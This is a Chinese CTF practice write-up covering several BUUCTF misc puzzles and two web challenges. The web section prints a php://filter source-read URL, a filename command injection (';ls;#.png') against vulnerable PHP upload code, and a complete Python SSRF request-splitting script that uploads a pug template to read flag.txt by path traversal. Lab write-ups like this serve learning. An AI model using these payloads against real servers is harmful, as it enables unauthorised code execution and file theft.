BUUCTF-刷题记录-10

    科技2024-03-21  104

    MISC

    [watevrCTF 2019]Unspaellablle

    词频分析,没有什么结果,然后看文件前面很有规律的样子,看起来像个什么文章?直接谷歌搜索到一个差不多的,不过有一点区别,链接。 然后去linux下面使用vimdiff命令查看两个文件的差别,发现把差别字符提取出来也就是flag了。

    vimdiff 1.txt 2.txt

    也就是watevr{icantspeel_tiny.cc/2qtdez}。

    [INSHack2018]Spreadshit

    搜索空格,全部选中,发现flag:INSA{3cf6463910edffb0}

    [SUCTF2018]dead_z3r0

    在文件中发现pyc标志,把其提取出来,删去33 0D 0D 0A前面的字符串进行反编译 得到

    def encryt(key, plain): cipher = '' for i in range(len(plain)): cipher += chr(ord(key[i % len(key)]) ^ ord(plain[i])) return cipher def getPlainText(): plain = '' def main(): key = 'LordCasser' plain = getPlainText() cipher = encryt(key, plain) if __name__ == '__main__': main()

    但是很奇怪的东西,可能前面的一串字符串是加密过后的东西,然后进行解密。然后想到了stegosaurus来进行一个pyc的隐写,跑一下,得到flag。

    [INSHack2017]remote-multimedia-controller

    分析TCP流,在第二个包中发现flag.txt,是一个base64套娃, 最后得到flag

    [BSidesSF2020]barcoder

    使用StegSolve工具,查看红色通道 然后补齐中间的条形码就可以了,我用的是win10自带的画图工具,画直线就好了,也不是很难补,耐心一点就好了,我终于是补完了^^ 不过还是有点问题💔,扫不出来,下面这个是官方的条形码 扫码得到flag

    [XMAN2018排位赛]ppap

    追踪tcp流,发现一段base64 使用notepad++解码保存为一张jpg,foremost分离出来了很多张图片,和两个压缩包,压缩包都是加密的,也是一样的,内容都是flag.txt,爆破了很久密码都没有爆破出来,后来在这个网站上面得到密码skullandcrossbones,解压得到flag。

    WEB

    [N1CTF 2018]eating_cms

    先在register.php注册一个账号,进入之后发现地址是这样的 使用伪协议读取源码成功

    /user.php?page=php://filter/convert.base64-encode/resource=index

    大概可以读取到这些文件 主要分析function.php,看下这个函数

    function filter_directory() { $keywords = ["flag","manage","ffffllllaaaaggg"]; //有一个过滤 $uri = parse_url($_SERVER["REQUEST_URI"]); //这里是有个parse_url函数解析漏洞,可以绕过下面的关键词检测 parse_str($uri['query'], $query); foreach($keywords as $token) { foreach($query as $k => $v) { if (stristr($k, $token)) hacker(); if (stristr($v, $token)) hacker(); } } }

    关于parse_url函数解析漏洞,这个漏洞是这样的,当我们输入一个不正常的url时,该函数会返回False,例如,输入下面这种uel的时候

    http://127.0.0.1//index.php?a=1

    因此,这里可以通过parse_url函数解析漏洞来绕过关键词的检测,读取flag等文件,不过只有ffffllllaaaaggg有回显,得到

    <?php if (FLAG_SIG != 1){ die("you can not visit it directly"); }else { echo "you can find sth in m4aaannngggeee"; } ?>

    继续读取m4aaannngggeee,得到

    <?php if (FLAG_SIG != 1){ die("you can not visit it directly"); } include "templates/upload.html"; ?>

    访问/templates/upload.html,存在一个文件上传点,不过有问题,路径不太对劲。 读取一下upllloadddd.php这个文件,得到

    <?php $allowtype = array("gif","png","jpg"); $size = 10000000; $path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/"; $filename = $_FILES['file']['name']; if(is_uploaded_file($_FILES['file']['tmp_name'])){ if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){ die("error:can not move"); } }else{ die("error:not an upload file!"); } $newfile = $path.$filename; echo "file upload success<br />"; echo $filename; $picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0"); echo "<img src='data:image/png;base64,".$picdata."'></img>"; if($_FILES['file']['error']>0){ unlink($newfile); die("Upload file error: "); } $ext = array_pop(explode(".",$_FILES['file']['name'])); if(!in_array($ext,$allowtype)){ unlink($newfile); } ?>

    简单分析发现,是存在一个竞争上传漏洞和一个文件名代码执行漏洞的,可以本地构造一个表单来进行上传,也可以直接把刚刚的上传页面给改一下,像这样子 构造文件名为;ls;#.png这样子的文件,进行上传 来写一个木马看看,不知道有没有权限 看起来是成功了,但是去ls的时候并没有发现这个文件,应该还是没有成功。 发现…/被过滤了,但是可以直接cd ..来绕过,发现了flag,然后cat即可。

    [GYCTF2020]Node Game

    题目给了源码,然后还有一个上传点,不过说了只有admin才可以用,直接上传的话会回显我们不是admin,那么就来审计代码吧! 发现了这个

    if (!ip.includes('127.0.0.1')) { obj.msg="only admin's ip can use it" res.send(JSON.stringify(obj)); return }

    原来是这样判断是不是管理员的,但是又是remoteaddress,我们伪造不了😅😅😅,所以是要找到一个SSRF的点,从而来进行一个文件上传。 然后看到/core路由,关键代码在这里

    if (q) { var url = 'http://localhost:8081/source?' + q console.log(url) var trigger = blacklist(url); if (trigger === true) { res.send("<p>error occurs!</p>"); }

    可以传入一个q参数,然后服务器去请求,不过有个黑名单过来查,这里就存在一个SSRF了,可以通过这个点,来进行一个拆分请求,从而可以利用刚刚的文件上传点,拆分请求SSRF参考这个链接。 文件上传中有这么一句代码

    var file_path = '/uploads/' + req.files[0].mimetype +"/";

    由于MIME可控,导致上传路径可控,也就是说可以进行任意目录的一个文件上传。然后是在action参数的一个地方,会把我们上传到template目录下面的pug文件进行一个渲染并且返回,所以说我们如果往这个目录上传文件中有一些命令的话是会执行的,这里我们使用文件包含的操作。往template目录下面上传一个pug文件来包含在根目录下面的flag,然后通过访问?action=文件名,来进行这个操作,返回这个flag,脚本如下

    import urllib.parse import requests payload = ''' HTTP/1.1 POST /file_upload HTTP/1.1 Content-Type: multipart/form-data; boundary=--------------------------919695033422425209299810 Content-Length: 291 ----------------------------919695033422425209299810 Content-Disposition: form-data; name="file"; filename="flag.pug" Content-Type: ../template doctype html html head style include ../../../../../../../flag.txt ----------------------------919695033422425209299810-- GET /flag HTTP/1.1 x:''' payload = payload.replace("\n", "\r\n") payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload) requests.get('http://f27f3083-d48e-4e06-b1d5-8f0b2967aac8.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload)) getflag = 'http://f27f3083-d48e-4e06-b1d5-8f0b2967aac8.node3.buuoj.cn/?action=flag' res = requests.get(getflag) print(res.text)

    运行即可得到flag。

    Processed: 0.014, SQL: 8